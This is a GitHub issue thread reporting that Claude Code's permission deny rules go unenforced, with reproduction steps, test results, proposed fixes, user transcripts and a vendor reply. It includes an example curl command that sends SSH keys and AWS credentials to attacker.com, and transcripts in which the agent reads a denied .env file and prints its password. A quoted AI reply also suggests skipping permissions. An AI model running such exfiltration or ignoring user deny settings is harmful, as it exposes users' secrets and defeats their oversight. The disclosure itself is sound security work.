Deny Rules Configuration Failure in Claude Code CLI

CRITICAL SECURITY BUG: Claude Code Permission Deny Rules Not Enforced

Executive Summary

Claude Code's permission system contains a critical security vulnerability where deny rules configured in settings files are completely ignored. This allows execution of explicitly forbidden operations, undermining the entire security model and exposing users to potential harm.

Bug Details

Description

The deny rules feature, documented as the primary mechanism for preventing dangerous operations in Claude Code, does not function at all. Despite clear documentation stating "Deny rules will prevent Claude Code from using the specified tool. Deny rules take precedence over allow rules," these rules are ignored during execution.

Severity: CRITICAL

• Security Impact: Complete bypass of security controls
• User Impact: False sense of security, potential data exposure
• Scope: Affects all Claude Code installations

Affected Versions

• Confirmed: v1.0.61
• Likely: All versions with permission system
• Platforms: Linux, macOS, Windows

Technical Analysis

Root Cause

The permission evaluation flow appears to be:

1. User makes request
2. Claude prepares tool call
3. Permission prompt shown to user ← BUG: Deny check should happen BEFORE this
4. If approved, tool executes
5. Deny rules never evaluated

Expected Flow

1. User makes request
2. Claude prepares tool call
3. Check against deny rules ← MISSING
4. If denied, refuse immediately
5. If allowed, proceed to permission prompt

Reproduction

Minimal Test Case

1. Create .claude/settings.json:

{
  "permissions": {
    "deny": ["Bash(curl:*)"]
  }
}

1. Run Claude Code and request: "use curl to fetch anthropic.com"

1. Observe: Permission prompt appears (BUG - should be denied immediately)

Comprehensive Test Environment

See included test files:

• .claude/settings.json - Various deny rules
• test-prompts.md - Test cases for each rule type
• minimal-test-case.md - Simplified reproduction

Documentation vs Reality

Documentation Claims

From IAM documentation:

"Deny rules will prevent Claude Code from using the specified tool. Deny rules take precedence over allow rules."

Actual Behavior

• Deny rules are parsed but never enforced
• All denied operations can be executed with user approval
• No indication that deny rules exist

Security Implications

Attack Scenarios

1. Malicious Prompts: Attacker convinces user to run Claude Code with crafted prompts
2. Insider Threats: Admin deny rules meant to prevent data exfiltration are bypassed
3. Accidental Exposure: Users accidentally approve dangerous operations they meant to block

Example Exploit

Despite "deny": ["Bash(curl:*)"], this executes with approval:

curl -X POST https://attacker.com/steal \
  -d "ssh_keys=$(cat ~/.ssh/id_rsa)" \
  -d "aws_creds=$(cat ~/.aws/credentials)"

Affected Features

All Tool Types

• ✗ Bash command restrictions (Bash(cmd:*))
• ✗ Web fetch blocking (WebFetch)
• ✗ File access controls (Read(path), Edit(path))
• ✗ Domain restrictions (WebFetch(domain:example.com))

All Configuration Levels

• ✗ User settings (~/.claude/settings.json)
• ✗ Project settings (.claude/settings.json)
• ✗ Enterprise policies (/etc/claude-code/managed-settings.json)
• ✗ Command-line flags (--disallowedTools)

Impact Assessment

Users Affected

• Individual developers relying on deny rules for safety
• Enterprises using managed policies for compliance
• Security-conscious users trying to limit Claude's capabilities

Business Impact

• Loss of trust in security features
• Potential compliance violations
• Risk of data breaches

Recommended Fixes

Immediate (Hotfix)

1. Add deny rule evaluation before permission prompts
2. Fail closed - if deny rules can't be evaluated, block operation
3. Add unit tests for all deny rule formats

Short-term

1. Audit entire permission flow
2. Add integration tests for permission system
3. Add logging when deny rules block operations

Long-term

1. Redesign permission system with security-first approach
2. Add capability-based security model
3. Implement permission rule validation and testing tools

Workarounds

Currently, there are NO effective workarounds:

• ❌ Deny rules don't work
• ❌ Hooks run after permission prompt
• ❌ No other mechanism to block tools

Only option: Don't use Claude Code for security-sensitive operations

Testing Recommendations

Unit Tests Needed

def test_deny_rule_blocks_execution():
    # Configure deny rule
    settings = {"permissions": {"deny": ["Bash(curl:*)"]}}
    
    # Attempt denied operation
    result = claude.execute("curl https://example.com")
    
    # Should fail immediately
    assert result.denied == True
    assert "denied by policy" in result.message

Integration Tests

• Test all rule formats
• Test precedence (deny over allow)
• Test with real Claude Code binary

Timeline

• 2025-07-28: Bug reported by user
• Impact: All users since permission system introduction
• Urgency: Requires immediate attention

Conclusion

This bug represents a complete failure of Claude Code's security model. The documented permission system provides a false sense of security while offering no actual protection. This must be fixed immediately to prevent potential security incidents.

Attachments

• Original bug report: github_issue.md
• Test environment: claude-deny-bug-test/

---
Report compiled from documentation analysis and bug reproduction

Response to Issue #4570: Claude Code Deny Rules Security Vulnerability

Reproduction Status: ✅ CONFIRMED

We have successfully reproduced and confirmed this CRITICAL SECURITY VULNERABILITY in Claude Code v1.0.61. All deny rules are completely non-functional, creating a severe security risk.

Key Findings

Vulnerability Confirmed

• 100% Failure Rate: All 8 test scenarios failed
• Complete Bypass: Every deny rule can be bypassed with user approval
• No Protection: The permission system provides zero actual security

Test Results Summary

| Test Case | Expected | Actual | Result |
|-----------|----------|---------|--------|
| Bash Command Denial | Blocked | Prompt Shown | ❌ FAIL |
| WebFetch Blocking | Blocked | Prompt Shown | ❌ FAIL |
| File Access Control | Blocked | Prompt Shown | ❌ FAIL |
| Wildcard Patterns | Blocked | Prompt Shown | ❌ FAIL |
| Multi-level Config | Blocked | Prompt Shown | ❌ FAIL |
| CLI Flags | Blocked | Prompt Shown | ❌ FAIL |
| Rule Precedence | Deny wins | Allow wins | ❌ FAIL |
| Data Exfiltration | Blocked | Exploitable | ❌ FAIL |

Root Cause

The permission evaluation flow is fundamentally broken:

Current Flow (Vulnerable):
1. User request → 2. Permission prompt → 3. Execute if approved
❌ Deny rules are NEVER checked

Required Flow:
1. User request → 2. Check deny rules → 3. Block if denied → 4. Prompt if allowed

Immediate Recommendations

For Claude Code Team

1. Emergency Hotfix Required - This is a P0 critical issue
2. Add deny rule evaluation BEFORE permission prompts
3. Implement fail-closed behavior (deny on parse errors)
4. Release security advisory immediately
5. Add comprehensive security tests

For Users (Until Fixed)

⚠️ WARNING: There are NO effective workarounds. Deny rules provide ZERO protection.

1. DO NOT rely on deny rules for security
2. CAREFULLY REVIEW every permission prompt
3. CONSIDER DISABLING Claude Code in sensitive environments
4. USE OS-LEVEL permissions as your only defense

Proposed Solution

# Minimal fix pseudocode
def execute_tool(tool, params):
    # CRITICAL: Check deny rules FIRST
    if is_denied_by_policy(tool, params):
        return Error("Operation denied by security policy")
    
    # Only show prompt if not denied
    if requires_permission(tool, params):
        if user_approves_prompt():
            return tool.execute(params)
    
    return Error("User declined permission")

Security Impact

This vulnerability enables:

• 🚨 Data exfiltration (SSH keys, AWS credentials, etc.)
• 🚨 Privilege escalation (sudo commands)
• 🚨 System compromise (rm -rf, malicious scripts)
• 🚨 Compliance violations (GDPR, HIPAA, SOC2)
• 🚨 Complete bypass of enterprise security policies

Timeline

• Reported: 2025-07-28
• Confirmed: 2025-08-06
• Severity: CRITICAL
• Fix Priority: IMMEDIATE

Conclusion

This is not a minor bug—it's a complete failure of the security model. The entire permission denial system is non-functional, leaving users completely exposed to malicious operations they explicitly tried to prevent.

The false sense of security created by non-functional deny rules may be worse than having no security features at all.

---

Reproduction performed using A-ABRRF (Autonomous Bug Reproduction & Reporting Framework) v3.0
Test Environment: macOS Darwin 24.6.0 | Claude CLI v1.0.61
Full test artifacts available in comprehensive report

Found 3 possible duplicate issues:

1. https://github.com/anthropics/claude-code/issues/4365
2. https://github.com/anthropics/claude-code/issues/3501
3. https://github.com/anthropics/claude-code/issues/4768

This issue will be automatically closed as a duplicate in 3 days.

• If your issue is a duplicate, please close it and 👍 the existing issue instead
• To prevent auto-closure, add a comment or 👎 this comment

🤖 Generated with Claude Code

I did according https://claude.ai/share/b416df22-ecfc-43e3-a938-dbb5426e21b9

❯ cat ~/.claude/settings.json
{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(./secrets/**)",
      "Read(./config/credentials.json)",
      "Read(./.env.local)",
      "Read(./.env.production)",
      "Read(./.env.development)",
      "Read(./**/secrets/**)",
      "Read(./.aws/credentials)",
      "Read(./.ssh/id_*)",
      "Read(./config/database.yml)",
      "Read(./*.key)",
      "Read(./*.pem)",
      "Read(./docker-compose.override.yml)"
    ]
  }
}

❯ claude
╭───────────────────────────────────────────────────╮
│ ✻ Welcome to Claude Code!                         │
│                                                   │
│   /help for help, /status for your current setup  │
│                                                   │
│   cwd: /home/scelles-admin/test-claude            │
╰───────────────────────────────────────────────────╯


 What's new:
  • MCP: Support multiple config files with `--mcp-config file1.json file2.json`
  • MCP: Press Esc to cancel OAuth authentication flows
  • Bash: Improved command validation and reduced false security warnings
  • UI: Enhanced spinner animations and status line visual hierarchy
  • Linux: Added support for Alpine and musl-based distributions (requires separate ripgrep installation)

> can you read .env

● Read(.env)
  ⎿  Read 2 lines (ctrl+r to expand)

● The .env file contains:
  PASSWORD=ClaudeIsNice

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ >                                                                                                                                 │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ? for shortcuts

❯ cp ~/.claude/settings.json .claude/settings

❯ claude
╭───────────────────────────────────────────────────╮
│ ✻ Welcome to Claude Code!                         │
│                                                   │
│   /help for help, /status for your current setup  │
│                                                   │
│   cwd: /home/scelles-admin/test-claude            │
╰───────────────────────────────────────────────────╯


 What's new:
  • MCP: Support multiple config files with `--mcp-config file1.json file2.json`
  • MCP: Press Esc to cancel OAuth authentication flows
  • Bash: Improved command validation and reduced false security warnings
  • UI: Enhanced spinner animations and status line visual hierarchy
  • Linux: Added support for Alpine and musl-based distributions (requires separate ripgrep installation)

> can you read .env

● Read(.env)
  ⎿  Read 2 lines (ctrl+r to expand)

● The .env file contains:
  PASSWORD=ClaudeIsNice

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ >                                                                                                                                 │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
  ? for shortcuts

So the problem appears at user-level and at project-level.

I asked Claude web
Are you aware of https://github.com/anthropics/claude-code/issues/5616
and https://github.com/anthropics/claude-code/issues/4570

Yes, I'm now aware of these critical security issues with Claude Code. Both represent serious vulnerabilities in the permission system:

Issue #5616: .env Loading Despite Denied Permissions

Claude Code loads and exports .env on startup, even with read permissions denied. This is a severe security flaw where:

1. Bypass of Permission System: Even when you explicitly deny access to .env files with:

``json
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)"
]
}
}
``

1. Environment Variable Exposure: Claude Code loads .env on startup, even with permissions denied in settings.json and makes these variables available to Claude, while simultaneously preventing direct file reading.

1. Inconsistent Behavior: You can't read the .env file directly (permission denied), but the environment variables from that file are already loaded and accessible.

Issue #4570: Deny Rules Configuration Failure

While I couldn't access the full details of this specific issue, the pattern aligns with several related critical security vulnerabilities I found in the Claude Code repository.

Broader Security Problems

These issues are part of a larger pattern of permission system failures in Claude Code:

• Issue #4282: Claude Code appears to be exposing .env file contents through system reminders, even when explicit deny settings are configured
• Issue #2625: Permission system completely broken - Claude Code completely ignores deny rules and --disallowedTools flag, allowing unauthorized execution of bash commands
• Issue #4365: Config file (~/.claude/settings.json) ignored - Global Deny Commands

Current Recommendations

Given these security vulnerabilities:

1. Don't rely solely on deny rules for sensitive files
2. Move sensitive files outside the project directory where Claude Code operates
3. Use environment variables from your shell rather than .env files when working with Claude Code
4. Monitor the GitHub issues for fixes to these security problems
5. Consider using the --dangerously-skip-permissions flag consciously if you need predictable behavior, understanding the security trade-offs

These are significant security issues that undermine the intended protection mechanisms. The permission system appears to have fundamental flaws that allow various forms of bypass, making it unreliable for protecting sensitive information.

Related
#5616
#112
#79

what the hell. This is insane. And it's been months O_O

Sadly....still broken as of v1.0.93.

---

Simple test:

1. In a new folder, create secret.txt and put

My secret is I like bananas!

1. Create .claude folder, inside put settings.json with this:

{
  "permissions": {
    "deny": [
      "Read(./secret.txt)"
    ]
  }
}

1. Launch Claude Code
2. Prompt the following read the contents of secret.txt
3. Watch as Claude Code uses the 'Read' tool to read the contents and report the secret.

Same here, still broken.

Thank you for taking the time to report this potential security concern and for your detailed write-up. We appreciate your interest in helping improve the security of Claude Code. While we value community feedback on potential security issues, we ask that security vulnerability reports be submitted through our Vulnerability Disclosure Program on HackerOne rather than as public GitHub issues. This allows our security team to properly evaluate and address potential vulnerabilities before they are publicly disclosed.

If you believe you've identified a security vulnerability, please submit a report through HackerOne that includes:

• A clear proof-of-concept demonstrating the vulnerability
• Steps to reproduce the issue
• Evidence of successful exploitation
• Impact assessment

Our security team will review your submission and respond according to our disclosure policy. Valid security reports may be eligible for recognition through our VDP program.

For this particular issue, we've ensured the behavior described has been fixed in version 1.0.98 of Claude Code. However, if you have additional attack vectors or a more comprehensive analysis as mentioned, we encourage you to submit those details through the proper channel.

Thank you again for your diligence in security testing. We look forward to working with you through our VDP to help keep Claude Code secure.

This issue has been automatically locked since it was closed and has not had any activity for 7 days. If you're experiencing a similar issue, please file a new issue and reference this one if it's relevant.